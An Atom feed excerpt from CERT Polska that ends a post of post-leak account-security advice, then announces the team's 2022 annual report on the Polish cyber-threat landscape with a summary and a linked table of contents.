&lt;li&gt;Użyjcie programu antywirusowego, żeby sprawdzić bezpieczeństwo swojego komputera. Należy jednak zwrócić uwagę, że antywirusy mogą nie wykryć zagrożenia. Jeżeli zatem zachodzi podejrzenie, że system może być zainfekowany, najlepiej zabezpieczyć najważniejsze dane i przywrócić go do stanu fabrycznego,  &lt;/li&gt;
&lt;li&gt;Korzystając z zabezpieczonego lub wyczyszczonego komputera zmieńcie hasła do logowania, których używaliście dotychczas. &lt;br&gt;
&lt;strong&gt;Ważne!&lt;/strong&gt; Jeśli do logowania na różnych serwisach wykorzystywaliście to samo hasło, zmieńcie je również na pozostałych stronach! Nie powielajcie też haseł między serwisami!,  &lt;/li&gt;
&lt;li&gt;Włączcie dodatkowe zabezpieczenie w serwisach, które umożliwiają weryfikację dwuetapową,  &lt;/li&gt;
&lt;li&gt;Zwróćcie szczególną uwagę na próby logowania na konta, sprawdzajcie alerty przesyłane na adres e-mail.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Instrukcje włączenia wieloskładnikowego uwierzytelniania w najpopularniejszych serwisach można znaleźć na &lt;a href="https://cert.pl/2etapy/"&gt;https://cert.pl/2etapy/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Poradnik na temat mechanizmów logowania i tworzenia dobrych haseł można znaleźć na &lt;a href="https://cert.pl/posts/2022/01/kompleksowo-o-haslach/"&gt;https://cert.pl/posts/2022/01/kompleksowo-o-haslach/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Poradnik zabezpieczenia swojej poczty i kont w mediach społecznościowych można znaleźć na &lt;a href="https://cert.pl/uploads/docs/CERT_Polska_Bezpieczna_poczta_i_konta_spolecznosciowe.pdf"&gt;https://cert.pl/uploads/docs/CERT_Polska_Bezpieczna_poczta_i_konta_spolecznosciowe.pdf&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Informacje na temat rodzaju złośliwego oprogramowania, które służy do pozyskania danych w tego typu wyciekach można znaleźć na: &lt;a href="https://cert.pl/posts/2023/02/information-stealer/"&gt;https://cert.pl/posts/2023/02/information-stealer/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Informacje na temat najnowszych zagrożeń można znaleźć śledząc profile zespołu CERT Polska na &lt;a href="https://www.facebook.com/CERT.Polska"&gt;Facebooku&lt;/a&gt; albo &lt;a href="https://twitter.com/CERT_Polska"&gt;Twitterze&lt;/a&gt;.&lt;/p&gt;</content><category term="News"></category><category term="wyciek"></category><category term="stealer"></category></entry><entry><title>Krajobraz bezpieczeństwa polskiego internetu w 2022 roku</title><link href="https://cert.pl/posts/2023/05/krajobraz-bezpieczenstwa-polskiego-internetu-w-2022-roku/" rel="alternate"></link><published>2023-05-10T16:00:00+01:00</published><updated>2023-05-10T16:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-05-10:/posts/2023/05/krajobraz-bezpieczenstwa-polskiego-internetu-w-2022-roku/</id><summary type="html">Ubiegły rok w polskiej cyberprzestrzeni możemy podsumować hasłami: znane techniki, nowe okoliczności i wzrost świadomości. Dodatkowo, nie da się ukryć, że na cyberbezpieczeństwo wpływ miała także wojna w Ukrainie. Jak duży był to wpływ? Czego możemy spodziewać się w kolejnych miesiącach w polskiej cyberprzestrzeni i jakie wnioski należy wyciągnąć z ostatnich 12 miesięcy? Odpowiedzi znajdziecie w raporcie rocznym z działalności naszego zespołu.</summary><content type="html">&lt;p&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf" class="report-download"&gt;
  &lt;img src="/uploads/2023/05/raport_2022_thumbnail.jpg" alt="okładka"&gt;
  &lt;span class="caption"&gt;Pobierz raport (PDF, 12.4MB)&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ubiegły rok w polskiej cyberprzestrzeni możemy podsumować hasłami: znane techniki, nowe okoliczności i wzrost świadomości. Dodatkowo, nie da się ukryć, że na cyberbezpieczeństwo wpływ miała także wojna w Ukrainie. Jak duży był to wpływ? Czego możemy spodziewać się w kolejnych miesiącach w polskiej cyberprzestrzeni i jakie wnioski należy wyciągnąć z ostatnich 12 miesięcy? Odpowiedzi znajdziecie w raporcie rocznym z działalności naszego zespołu.&lt;/p&gt;
&lt;p&gt;Wciąż obserwowaliśmy masowe kampanie phishingowe, ale także spoofing numeru telefonu czy przypadki kradzieży tożsamości. Te oparte na sztuczkach socjotechnicznych mechanizmy niezmiennie należały do najpowszechniej wykorzystywanych przez cyberprzestępców. Jednocześnie – dzięki licznym kampaniom edukacyjnym, informacjom prasowym i ostrzeżeniom publikowanym na naszych kanałach w mediach społecznościowych - rosła wiedza o zagrożeniach. Przełożyło się to na rekordową liczbę zgłoszeń. W całym 2022 r. otrzymaliśmy ich ponad 322 tysiące, co przełożyło się na ponad 39 tysięcy obsłużonych incydentów. 65% z nich zaklasyfikowaliśmy jako phishing.&lt;/p&gt;
&lt;p&gt;Oprócz przybliżenia najpopularniejszych kampanii cyberprzestępców w raporcie można znaleźć także opisy realizowanych przez nas projektów badawczo-rozwojowych, w tym narzędzi open-source. Warte uwagi są również statystyki dotyczące zgłaszanych incydentów oraz zagrożeń w sieciach polskich operatorów. Swoje miejsce w raporcie znalazły także opisy ataków z wykorzystaniem ransomware oraz działania wykorzystujące motyw "fałszywych inwestycji". Wspierane reklamami w wyszukiwarkach oraz mediach społecznościowych, bardzo dobrze przygotowane strony zachęcały do rzekomo bezpiecznego zainwestowania oszczędności. Pewnym novum były fałszywe inwestycje z wojennym motywem w tle.&lt;/p&gt;
&lt;p&gt;Nie jest to jedyny przykład, który pokazuje, że sytuacja za naszą wschodnią granicą wpływała na krajowe cyberbezpieczeństwo. Zdarzenia, które bezpośrednio łączymy z wojną w Ukrainie, to też np. zmasowane ataki typu DDoS na portale instytucji publicznych i istotnych krajowych podmiotów gospodarczych czy pojawienie się fałszywych sklepów z opałem. Tym działaniom zdecydowaliśmy się poświęcić w raporcie cały rozdział.&lt;/p&gt;
&lt;p&gt;Nie da się ukryć, że sytuacja międzynarodowa wpływa na cyberprzestrzeń. Oprócz zagrożeń inicjuje jednak też szanse. Taką szansą jest współpraca, zwłaszcza na poziomie operacyjnym. Wierzymy, że kolejny rok przyniesie jej pogłębienie i wymierne efekty w postaci ograniczenia niekorzystnych zjawisk w Internecie.&lt;/p&gt;
&lt;p&gt;Zapraszamy do lektury! Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo
&lt;a href="/uploads/docs/Raport_CP_2022.pdf" download style="text-decoration: underline;"&gt;&lt;strong&gt;pobierz plik z raportem&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=8"&gt;&lt;strong&gt;Wstęp&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;8&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=10"&gt;&lt;strong&gt;O CERT Polska&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;10&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=12"&gt;&lt;strong&gt;Kalendarium&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;12&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=17"&gt;&lt;strong&gt;Działania CERT Polska&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;17&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=18"&gt;Lista ostrzeżeń&lt;span&gt;&lt;/span&gt;&lt;em&gt;18&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=19"&gt;#BezpiecznyPrzemysł&lt;span&gt;&lt;/span&gt;&lt;em&gt;19&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=19"&gt;Snitch&lt;span&gt;&lt;/span&gt;&lt;em&gt;19&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=20"&gt;Ciekawe znaleziska&lt;span&gt;&lt;/span&gt;&lt;em&gt;20&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=22"&gt;Ćwiczenia i konkursy&lt;span&gt;&lt;/span&gt;&lt;em&gt;22&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=23"&gt;Cyber Europe&lt;span&gt;&lt;/span&gt;&lt;em&gt;23&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=25"&gt;Locked Shields&lt;span&gt;&lt;/span&gt;&lt;em&gt;25&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=27"&gt;European Cyber Security Challenge&lt;span&gt;&lt;/span&gt;&lt;em&gt;27&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=29"&gt;Scena CTF&lt;span&gt;&lt;/span&gt;&lt;em&gt;29&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=31"&gt;Działania promocyjne i edukacyjne&lt;span&gt;&lt;/span&gt;&lt;em&gt;31&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=35"&gt;&lt;strong&gt;Incydenty i zagrożenia&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;35&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=36"&gt;Podsumowanie roku z perspektywy zgłaszanych incydentów&lt;span&gt;&lt;/span&gt;&lt;em&gt;36&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=40"&gt;Zgłoszenia SMS&lt;span&gt;&lt;/span&gt;&lt;em&gt;40&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=40"&gt;Jak zgłosić SMS-a?&lt;span&gt;&lt;/span&gt;&lt;em&gt;40&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=42"&gt;Statystyki zgłoszeń SMS&lt;span&gt;&lt;/span&gt;&lt;em&gt;42&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=42"&gt;Dlaczego warto zgłaszać SMS-y do CERT Polska?&lt;span&gt;&lt;/span&gt;&lt;em&gt;42&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=43"&gt;Znane kampanie phishingowe kontynuowane w 2022 r.&lt;span&gt;&lt;/span&gt;&lt;em&gt;43&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=43"&gt;Alerty bezpieczeństwa na kontach bankowych&lt;span&gt;&lt;/span&gt;&lt;em&gt;43&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=45"&gt;Fałszywe bramki płatności&lt;span&gt;&lt;/span&gt;&lt;em&gt;45&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=49"&gt;Kradzież kont użytkowników Netflix&lt;span&gt;&lt;/span&gt;&lt;em&gt;49&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=51"&gt;Wyłudzanie pieniędzy od sprzedawców na portalach ogłoszeniowych&lt;span&gt;&lt;/span&gt;&lt;em&gt;51&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=53"&gt;Nieprawdziwe posty oraz przejmowanie kont na Facebooku&lt;span&gt;&lt;/span&gt;&lt;em&gt;53&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=57"&gt;Nowe kampanie zaobserwowane w 2022 roku&lt;span&gt;&lt;/span&gt;&lt;em&gt;57&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=57"&gt;Kampanie wykorzystujące wizerunek stron i instytucji rządowych&lt;span&gt;&lt;/span&gt;&lt;em&gt;57&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=62"&gt;Ataki z wykorzystaniem techniki Browser In The Browser&lt;span&gt;&lt;/span&gt;&lt;em&gt;62&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=63"&gt;Dystrybucja oprogramowania information stealer poprzez pocztę e-mail&lt;span&gt;&lt;/span&gt;&lt;em&gt;63&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=67"&gt;Kampania reklamowa "ad hijacking" za pośrednictwem Google Ads&lt;span&gt;&lt;/span&gt;&lt;em&gt;67&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=69"&gt;Oszustwa z wykorzystaniem kodów QR&lt;span&gt;&lt;/span&gt;&lt;em&gt;69&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=70"&gt;Spersonalizowane szantaże na właścicieli stron internetowych&lt;span&gt;&lt;/span&gt;&lt;em&gt;70&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=71"&gt;Trojan bankowy Hydra&lt;span&gt;&lt;/span&gt;&lt;em&gt;71&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=71"&gt;Wykorzystanie wizerunku Ministerstwa Finansów&lt;span&gt;&lt;/span&gt;&lt;em&gt;71&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=74"&gt;Ransomware&lt;span&gt;&lt;/span&gt;&lt;em&gt;74&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=75"&gt;Rodziny zaobserwowane przez CERT Polska w 2022 roku&lt;span&gt;&lt;/span&gt;&lt;em&gt;75&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=75"&gt;LockBit&lt;span&gt;&lt;/span&gt;&lt;em&gt;75&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=76"&gt;Prestige&lt;span&gt;&lt;/span&gt;&lt;em&gt;76&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=76"&gt;BlackCat&lt;span&gt;&lt;/span&gt;&lt;em&gt;76&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=77"&gt;Zaobserwowane trendy&lt;span&gt;&lt;/span&gt;&lt;em&gt;77&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=77"&gt;Szkodliwe działania as a Service&lt;span&gt;&lt;/span&gt;&lt;em&gt;77&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=77"&gt;Wzrost popularności kradzieży danych&lt;span&gt;&lt;/span&gt;&lt;em&gt;77&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=78"&gt;Poradnik dotyczący ransomware&lt;span&gt;&lt;/span&gt;&lt;em&gt;78&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=79"&gt;Działalność grupy UNC1151/Ghostwriter&lt;span&gt;&lt;/span&gt;&lt;em&gt;79&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=82"&gt;Wycieki danych&lt;span&gt;&lt;/span&gt;&lt;em&gt;82&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=82"&gt;Jak dochodzi do wycieków?&lt;span&gt;&lt;/span&gt;&lt;em&gt;82&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=83"&gt;Jak przygotować się na wyciek?&lt;span&gt;&lt;/span&gt;&lt;em&gt;83&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=84"&gt;Co zrobić po wycieku?&lt;span&gt;&lt;/span&gt;&lt;em&gt;84&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=85"&gt;Najważniejsze podatności w 2022 roku&lt;span&gt;&lt;/span&gt;&lt;em&gt;85&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=86"&gt;ProxyNotShell (CVE-2022-41040 i CVE-2022-41082)&lt;span&gt;&lt;/span&gt;&lt;em&gt;86&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=87"&gt;Follina (CVE-2022-30190)&lt;span&gt;&lt;/span&gt;&lt;em&gt;87&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=88"&gt;FortiOS (CVE-2022-42475)&lt;span&gt;&lt;/span&gt;&lt;em&gt;88&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=90"&gt;&lt;strong&gt;Wojna w Ukrainie – wpływ na cyberbezpieczeństwo&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;90&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=92"&gt;Atak na sieć Internetu satelitarnego Viasat&lt;span&gt;&lt;/span&gt;&lt;em&gt;92&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=93"&gt;Ataki DDoS przeprowadzane przez rosyjskich haktywistów&lt;span&gt;&lt;/span&gt;&lt;em&gt;93&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=96"&gt;Znane kampanie wykorzystujące motyw wojny&lt;span&gt;&lt;/span&gt;&lt;em&gt;96&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=96"&gt;Fałszywe panele logowania do Facebooka&lt;span&gt;&lt;/span&gt;&lt;em&gt;96&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=98"&gt;Fałszywe zbiórki&lt;span&gt;&lt;/span&gt;&lt;em&gt;98&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=99"&gt;Spam "nigeryjski"&lt;span&gt;&lt;/span&gt;&lt;em&gt;99&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=100"&gt;Fałszywe inwestycje&lt;span&gt;&lt;/span&gt;&lt;em&gt;100&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=101"&gt;Maile z groźbami&lt;span&gt;&lt;/span&gt;&lt;em&gt;101&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=102"&gt;Wiadomości o charakterze spamowym&lt;span&gt;&lt;/span&gt;&lt;em&gt;102&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=103"&gt;Fałszywe sklepy z węglem&lt;span&gt;&lt;/span&gt;&lt;em&gt;103&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=107"&gt;&lt;strong&gt;Projekty CERT Polska&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;107&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=108"&gt;MeliCERTes&lt;span&gt;&lt;/span&gt;&lt;em&gt;108&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=109"&gt;Rezultaty projektu&lt;span&gt;&lt;/span&gt;&lt;em&gt;109&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=109"&gt;Narzędzia wchodzące w skład platformy&lt;span&gt;&lt;/span&gt;&lt;em&gt;109&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=109"&gt;Przyszłość projektu&lt;span&gt;&lt;/span&gt;&lt;em&gt;109&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=111"&gt;JTAN&lt;span&gt;&lt;/span&gt;&lt;em&gt;111&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=112"&gt;n6&lt;span&gt;&lt;/span&gt;&lt;em&gt;112&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=112"&gt;MWDB&lt;span&gt;&lt;/span&gt;&lt;em&gt;112&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=114"&gt;&lt;strong&gt;Statystyki&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;114&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=115"&gt;Ograniczenia&lt;span&gt;&lt;/span&gt;&lt;em&gt;115&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=115"&gt;Botnety&lt;span&gt;&lt;/span&gt;&lt;em&gt;115&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=115"&gt;Botnety w Polsce&lt;span&gt;&lt;/span&gt;&lt;em&gt;115&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=116"&gt;Infekcje z podziałem na operatorów telekomunikacyjnych&lt;span&gt;&lt;/span&gt;&lt;em&gt;116&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=118"&gt;Serwery C&amp;amp;C&lt;span&gt;&lt;/span&gt;&lt;em&gt;118&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2022.pdf#page=118"&gt;C&amp;amp;C na świecie&lt;span&gt;&lt;/span&gt;&lt;em&gt;118&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
